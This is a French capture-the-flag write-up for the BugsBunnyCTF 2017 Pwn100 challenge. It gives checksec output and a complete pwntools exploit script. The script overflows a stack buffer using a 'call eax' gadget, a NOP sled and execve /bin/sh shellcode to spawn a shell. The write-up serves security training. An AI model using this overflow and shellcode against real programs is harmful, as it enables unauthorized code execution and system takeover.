[BugsBunnyCTF2017]Pwn100 [pwn] [100pts]

Ce challenge valait 100 points , il faisait partie du CTF bugsbunny 2017

Lançons un checksec sur l’executable : aucune protection n’est activée

neoverflow@archlinux-pc> pwn100$checksec pwn100 
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
checksec

J’utilise un gadget « call eax » car eax contiendra le debut de notre payload, donc au debut de notre payload je mets les opcodes corrrespondants à « add esp,0x32; call esp » à l’aide du site suviant  https://defuse.ca/online-x86-assembler.htm.

Ce mini shellcode nous envoie vers le nopsled puis le vrai shellcode et nous avons un shell !

neoverflow@archlinux-pc> pwn100_done$cat exploit.py 
#!/usr/bin/env python2

from pwn import *


p = process('./pwn100')
#p = remote("54.153.19.139",5252) 
pause()

payload = "\x83\xC4\x32\xFF\xD4" # add esp,0x32; call esp
payload  += "A"*(28-len(payload))
payload += p32(0x08048386) # call eax gadget
payload += "\x90"*200 # nopsled
payload +=  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
p.sendline(payload)
p.interactive()

 

Challenge reussi !

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.